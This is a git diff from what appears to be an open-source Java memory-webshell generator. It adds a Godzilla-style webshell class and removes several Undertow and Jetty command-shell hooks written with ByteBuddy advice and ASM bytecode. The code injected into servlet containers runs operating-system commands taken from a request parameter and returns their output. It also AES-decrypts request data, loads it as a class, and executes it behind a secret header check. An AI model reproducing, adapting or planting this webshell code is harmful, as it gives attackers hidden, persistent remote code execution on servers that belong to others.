mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String");
mv.visitVarInsn(Opcodes.ASTORE, cmdIndex); // Store cmd in local var 4
// If cmd == null, return false
mv.visitVarInsn(Opcodes.ALOAD, cmdIndex);
mv.visitJumpInsn(Opcodes.IFNULL, returnFalseLabel);
// Set baseRequest.setHandled(true)
mv.visitVarInsn(Opcodes.ALOAD, baseRequestIndex);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
mv.visitLdcInsn("setHandled");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/Boolean", "TYPE", "Ljava/lang/Class;");
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, baseRequestIndex);
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitInsn(Opcodes.ICONST_1);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Boolean", "valueOf", "(Z)Ljava/lang/Boolean;", false);
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitInsn(Opcodes.POP);
// Execute the command: Process exec = Runtime.getRuntime().exec(cmd);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
mv.visitVarInsn(Opcodes.ALOAD, cmdIndex);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitVarInsn(Opcodes.ASTORE, processIndex);
// Get input stream: InputStream inputStream = exec.getInputStream();
mv.visitVarInsn(Opcodes.ALOAD, processIndex);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Process", "getInputStream", "()Ljava/io/InputStream;", false);
mv.visitVarInsn(Opcodes.ASTORE, inputStreamIndex);
// Get response output stream: OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
mv.visitVarInsn(Opcodes.ALOAD, responseIndex);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
mv.visitLdcInsn("getOutputStream");
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, responseIndex);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/io/OutputStream");
mv.visitVarInsn(Opcodes.ASTORE, outputStreamIndex);
// Create buffer: byte[] buf = new byte[8192];
mv.visitIntInsn(Opcodes.SIPUSH, 8192);
mv.visitIntInsn(Opcodes.NEWARRAY, Opcodes.T_BYTE);
mv.visitVarInsn(Opcodes.ASTORE, bufferIndex);
// While loop to read and write data
Label loopStart = new Label();
Label loopEnd = new Label();
// Start of loop
mv.visitLabel(loopStart);
// Read data: inputStream.read(buf)
mv.visitVarInsn(Opcodes.ALOAD, inputStreamIndex);
mv.visitVarInsn(Opcodes.ALOAD, bufferIndex);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/InputStream", "read", "([B)I", false);
mv.visitVarInsn(Opcodes.ISTORE, lengthIndex);
// Check if length == -1
mv.visitVarInsn(Opcodes.ILOAD, lengthIndex);
mv.visitInsn(Opcodes.ICONST_M1);
mv.visitJumpInsn(Opcodes.IF_ICMPEQ, loopEnd);
// Write data: outputStream.write(buf, 0, length)
mv.visitVarInsn(Opcodes.ALOAD, outputStreamIndex);
mv.visitVarInsn(Opcodes.ALOAD, bufferIndex);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitVarInsn(Opcodes.ILOAD, lengthIndex);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/OutputStream", "write", "([BII)V", false);
// Go back to start of loop
mv.visitJumpInsn(Opcodes.GOTO, loopStart);
// End of loop
mv.visitLabel(loopEnd);
// Return from the method without calling original doFilter
mv.visitInsn(Opcodes.RETURN);
// If cmd is null, continue with original method
mv.visitLabel(returnFalseLabel);
// End of try block
mv.visitLabel(tryEnd);
// Skip catch block if we didn't enter it
Label afterCatch = new Label();
mv.visitJumpInsn(Opcodes.GOTO, afterCatch);
// Start of catch block
mv.visitLabel(catchHandler);
// The exception is now on the stack
mv.visitVarInsn(Opcodes.ASTORE, exceptionIndex); // Store exception in local var 10 and discard it
// End of catch block
mv.visitLabel(afterCatch);
}
}
@@ -1,211 +0,0 @@
package com.reajason.javaweb.memshell.shelltool.command.undertow;
import org.objectweb.asm.Label;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;
import org.objectweb.asm.Type;
/**
* @author ReaJason
*/
public class CommandServerInitialHandlerAsmMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
public CommandServerInitialHandlerAsmMethodVisitor(MethodVisitor mv, Type[] argumentTypes) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argumentTypes;
}
@Override
public void visitCode() {
super.visitCode();
// First local variable index after method parameters
int localVarIndex = 1;
for (Type type : argumentTypes) {
localVarIndex += type.getSize();
}
// Define our parameter name
mv.visitLdcInsn("paramName");
int paramNameIndex = localVarIndex++;
mv.visitVarInsn(Opcodes.ASTORE, paramNameIndex); // Store "paramName"
// Define labels for try-catch
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
// Register the try-catch block
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Exception");
// Start of try block
mv.visitLabel(tryStart);
// Initialize servletRequestContext as null
mv.visitInsn(Opcodes.ACONST_NULL);
int servletRequestContextIndex = localVarIndex++;
mv.visitVarInsn(Opcodes.ASTORE, servletRequestContextIndex); // Store servletRequestContext
// Determine which argument is servletRequestContext
// Check argumentTypes.length - if argumentTypes.length == 2, use arg[1], else use arg[2]
if (argumentTypes.length == 2) {
// Access first argument (adjusted for static/instance method)
mv.visitVarInsn(Opcodes.ALOAD, 2);
} else {
// Access second argument (adjusted for static/instance method)
mv.visitVarInsn(Opcodes.ALOAD, 3);
}
mv.visitVarInsn(Opcodes.ASTORE, servletRequestContextIndex); // Store in servletRequestContext variable
// Get request: request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext)
mv.visitVarInsn(Opcodes.ALOAD, servletRequestContextIndex); // Load servletRequestContext
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
mv.visitLdcInsn("getServletRequest");
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, servletRequestContextIndex); // Load servletRequestContext
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
int requestIndex = localVarIndex++;
mv.visitVarInsn(Opcodes.ASTORE, requestIndex); // Store request
// Get response: response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext)
mv.visitVarInsn(Opcodes.ALOAD, servletRequestContextIndex); // Load servletRequestContext
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
mv.visitLdcInsn("getServletResponse");
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, servletRequestContextIndex); // Load servletRequestContext
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
int responseIndex = localVarIndex++;
mv.visitVarInsn(Opcodes.ASTORE, responseIndex); // Store response
// Get the parameter: cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName)
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request (first param)
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
"()Ljava/lang/Class;", false);
mv.visitLdcInsn("getParameter");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
// Invoke the getParameter method
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request object
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitVarInsn(Opcodes.ALOAD, paramNameIndex); // Load paramName
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String");
int cmdValueIndex = localVarIndex++;
mv.visitVarInsn(Opcodes.ASTORE, cmdValueIndex); // Store cmd in local var 4
// Check if cmd is not null
mv.visitVarInsn(Opcodes.ALOAD, cmdValueIndex); // Load cmd
Label ifNullLabel = new Label();
mv.visitJumpInsn(Opcodes.IFNULL, ifNullLabel);
// Execute the command: Process exec = Runtime.getRuntime().exec(cmd);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
mv.visitVarInsn(Opcodes.ALOAD, cmdValueIndex); // Load cmd
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
int processIndex = localVarIndex++;
mv.visitVarInsn(Opcodes.ASTORE, processIndex); // Store Process
// Get input stream: InputStream inputStream = exec.getInputStream();
mv.visitVarInsn(Opcodes.ALOAD, processIndex); // Load Process
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Process", "getInputStream", "()Ljava/io/InputStream;", false);
int inputStreamIndex = localVarIndex++;
mv.visitVarInsn(Opcodes.ASTORE, inputStreamIndex); // Store InputStream
// Get response output stream
mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
mv.visitLdcInsn("getOutputStream");
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/io/OutputStream");
int outputStreamIndex = localVarIndex++;
mv.visitVarInsn(Opcodes.ASTORE, outputStreamIndex); // Store OutputStream
// Create buffer: byte[] buf = new byte[8192];
mv.visitIntInsn(Opcodes.SIPUSH, 8192);
mv.visitIntInsn(Opcodes.NEWARRAY, Opcodes.T_BYTE);
int bufferIndex = localVarIndex++;
mv.visitVarInsn(Opcodes.ASTORE, bufferIndex); // Store byte[] buffer
// While loop to read and write data
Label loopStart = new Label();
Label loopEnd = new Label();
// Start of loop
mv.visitLabel(loopStart);
// Read data: inputStream.read(buf)
mv.visitVarInsn(Opcodes.ALOAD, inputStreamIndex); // Load inputStream
mv.visitVarInsn(Opcodes.ALOAD, bufferIndex); // Load buffer
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/InputStream", "read", "([B)I", false);
int lengthIndex = localVarIndex++;
mv.visitVarInsn(Opcodes.ISTORE, lengthIndex); // Store length (note: not incrementing index yet)
// Check if length == -1
mv.visitVarInsn(Opcodes.ILOAD, lengthIndex);
mv.visitInsn(Opcodes.ICONST_M1);
mv.visitJumpInsn(Opcodes.IF_ICMPEQ, loopEnd);
// Write data: outputStream.write(buf, 0, length)
mv.visitVarInsn(Opcodes.ALOAD, outputStreamIndex); // Load outputStream
mv.visitVarInsn(Opcodes.ALOAD, bufferIndex); // Load buffer
mv.visitInsn(Opcodes.ICONST_0);
mv.visitVarInsn(Opcodes.ILOAD, lengthIndex); // Load length
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/OutputStream", "write", "([BII)V", false);
// Go back to start of loop
mv.visitJumpInsn(Opcodes.GOTO, loopStart);
// End of loop
mv.visitLabel(loopEnd);
// Return from the method without calling original doFilter
mv.visitInsn(Opcodes.RETURN);
// If cmd is null, continue with original method
mv.visitLabel(ifNullLabel);
// End of try block
mv.visitLabel(tryEnd);
// Skip catch block if we didn't enter it
Label afterCatch = new Label();
mv.visitJumpInsn(Opcodes.GOTO, afterCatch);
// Start of catch block
mv.visitLabel(catchHandler);
// The exception is now on the stack
mv.visitVarInsn(Opcodes.ASTORE, localVarIndex); // Store exception in local var 10 and discard it
// End of catch block
mv.visitLabel(afterCatch);
}
}
@@ -1,43 +0,0 @@
package com.reajason.javaweb.memshell.shelltool.command.undertow;
import net.bytebuddy.asm.Advice;
import java.io.InputStream;
import java.io.OutputStream;
/**
* @author ReaJason
*/
public class CommandServletInitialHandlerAdvisor {
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.AllArguments Object[] args
) {
String paramName = "paramName";
try {
Object servletRequestContext = null;
if (args.length == 2) {
servletRequestContext = args[1];
} else {
servletRequestContext = args[2];
}
Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext);
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
String cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
return true;
}
} catch (Exception ignored) {
}
return false;
}
}
@@ -0,0 +1,171 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import java.io.ByteArrayOutputStream;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.Key;
/**
* @author ReaJason
*/
public class Godzilla extends ClassLoader {
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public Godzilla() {
}
public Godzilla(ClassLoader z) {
super(z);
}
@Override
public boolean equals(Object obj) {
Object[] args = ((Object[]) obj);
Object request = unwrapRequest(args[0]);
Object response = unwrapResponse(args[1]);
try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null && value.contains(headerValue)) {
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
byte[] data = base64Decode(parameter);
data = this.x(data, false);
Object session = request.getClass().getMethod("getSession").invoke(request);
Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload");
if (sessionPayload == null) {
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", (new Godzilla(Thread.currentThread().getContextClassLoader())).Q(data));
} else {
request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) sessionPayload).newInstance();
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
f.equals(arrOut);
f.equals(request);
writer.write(md5.substring(0, 16));
f.toString();
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
}
return true;
}
} catch (Exception ignored) {
}
return false;
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder", true, Thread.currentThread().getContextClassLoader());
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64", false, Thread.currentThread().getContextClassLoader());
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder", false, Thread.currentThread().getContextClassLoader());
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Class<?> cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader());
Class<?> secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader());
Constructor<?> constructor = secretKeySpecClass.getConstructor(byte[].class, String.class);
Method initMethod = cipherClass.getMethod("init", int.class, Key.class);
Object c = cipherClass.getMethod("getInstance", String.class).invoke(null, "AES");
initMethod.invoke(c, m ? 1 : 2, constructor.newInstance(key.getBytes(), "AES"));
Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
return ((byte[]) doFinalMethod.invoke(c, s));
} catch (Exception var4) {
return null;
}
}
public Object unwrapRequest(Object request) {
Object internalRequest = request;
while (true) {
try {
Object r = getFieldValue(request, "request");
if (r == internalRequest) {
return r;
} else {
internalRequest = r;
}
} catch (Exception e) {
return internalRequest;
}
}
}
public Object unwrapResponse(Object response) {
Object internalResponse = response;
while (true) {
try {
Object r = getFieldValue(response, "response");
if (r == internalResponse) {
return r;
} else {
internalResponse = r;
}
} catch (Exception e) {
return internalResponse;
}
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
}
@@ -26,6 +26,37 @@ public class GodzillaFilter extends ClassLoader implements Filter {
super(z);
}
@Override
@SuppressWarnings("all")
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession();
byte[] data = base64Decode(request.getParameter(pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
} else {
chain.doFilter(servletRequest, servletResponse);
}
} catch (Exception e) {
chain.doFilter(servletRequest, servletResponse);
}
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
@@ -80,42 +111,6 @@ public class GodzillaFilter extends ClassLoader implements Filter {
}
}
@Override
@SuppressWarnings("all")
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession();
byte[] data = base64Decode(request.getParameter(pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f;
try {
f = ((Class<?>) session.getAttribute("payload")).newInstance();
} catch (Exception e) {
throw new RuntimeException(e);
}
f.equals(arrOut);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
} else {
chain.doFilter(servletRequest, servletResponse);
}
} catch (Exception e) {
chain.doFilter(servletRequest, servletResponse);
}
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@@ -1,90 +0,0 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import net.bytebuddy.asm.Advice;
import java.io.ByteArrayOutputStream;
import java.io.PrintWriter;
import java.lang.reflect.Method;
/**
* @author ReaJason
*/
public class GodzillaFilterChainAdvisor {
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.Argument(value = 0) Object request,
@Advice.Argument(value = 1) Object response
) {
String key = "key";
String pass = "pass";
String md5 = "md5";
String headerName = "headerName";
String headerValue = "headerValue";
try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null
&& value.contains(headerValue)) {
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
byte[] data = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.newInstance();
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
}
Class<?> cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader());
Class<?> secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader());
Class<?> keyClass = Class.forName("java.security.Key", true, Thread.currentThread().getContextClassLoader());
Method cipherInitMethod = cipherClass.getMethod("init", int.class, keyClass);
Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
Object cipher = cipherClass.getMethod("getInstance", String.class).invoke(cipherClass, "AES");
Object secretKeySpec = secretKeySpecClass.getConstructor(byte[].class, String.class).newInstance(key.getBytes(), "AES");
cipherInitMethod.invoke(cipher, 2, secretKeySpec);
data = (byte[]) doFinalMethod.invoke(cipher, data);
Object session = request.getClass().getMethod("getSession").invoke(request);
Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload");
if (sessionPayload == null) {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", payload);
} else {
request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) sessionPayload).newInstance();
f.equals(arrOut);
f.equals(request);
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
writer.write(md5.substring(0, 16));
f.toString();
cipherInitMethod.invoke(cipher, 1, secretKeySpec);
byte[] encryptBytes = (byte[]) doFinalMethod.invoke(cipher, arrOut.toByteArray());
String result = null;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
result = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, encryptBytes);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
result = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, encryptBytes);
}
writer.write(result);
writer.write(md5.substring(16));
}
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
}
@@ -1,891 +0,0 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import org.objectweb.asm.Label;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;
import org.objectweb.asm.Type;
public class GodzillaFilterChainAsmMethodVisitor extends MethodVisitor {
Type[] argTypes;
public GodzillaFilterChainAsmMethodVisitor(MethodVisitor mv, Type[] argTypes) {
super(Opcodes.ASM9, mv);
this.argTypes = argTypes;
}
@Override
public void visitCode() {
super.visitCode();
int startIndex = 1;
for (Type type : argTypes) {
startIndex += type.getSize();
}
int keyIndex = startIndex;
int passIndex = startIndex + 1;
int md5Index = startIndex + 2;
int headerNameIndex = startIndex + 3;
int headerValueIndex = startIndex + 4;
int curHeaderIndex = startIndex + 5;
int curParameterIndex = startIndex + 6;
int dataIndex = startIndex + 7;
int base64ClassIndex = startIndex + 8;
int decoderClassIndex = startIndex + 9;
int base64ExceptionIndex = startIndex + 10;
int cipherClassIndex = startIndex + 11;
int secretKeySpecClassIndex = startIndex + 12;
int keyClassIndex = startIndex + 13;
int cipherInitMethodIndex = startIndex + 14;
int doFinalMethodIndex = startIndex + 15;
int cipherIndex = startIndex + 16;
int secretKeySpecIndex = startIndex + 17;
int sessionIndex = startIndex + 18;
int sessionPayloadIndex = startIndex + 19;
int defineClassIndex = startIndex + 20;
int payloadClassIndex = startIndex + 21;
int arrOutIndex = startIndex + 22;
int instanceIndex = startIndex + 23;
int writerIndex = startIndex + 24;
int encryptBytesIndex = startIndex + 25;
int encoderClassIndex = startIndex + 26;
int resultIndex = startIndex + 27;
int base64EncodeExceptionIndex = startIndex + 28;
int outerExceptionIndex = startIndex + 26;
int requestIndex = 1;
int responseIndex = 2;
// Define constants
mv.visitLdcInsn("key");
mv.visitVarInsn(Opcodes.ASTORE, keyIndex);
mv.visitLdcInsn("pass");
mv.visitVarInsn(Opcodes.ASTORE, passIndex);
mv.visitLdcInsn("md5");
mv.visitVarInsn(Opcodes.ASTORE, md5Index);
mv.visitLdcInsn("headerName");
mv.visitVarInsn(Opcodes.ASTORE, headerNameIndex);
mv.visitLdcInsn("headerValue");
mv.visitVarInsn(Opcodes.ASTORE, headerValueIndex);
// Define labels for try-catch
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
// Register try-catch block
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Exception");
// Start of try block
mv.visitLabel(tryStart);
getHeaderValue(requestIndex, headerNameIndex, curHeaderIndex);
// if (value != null && value.contains(headerValue))
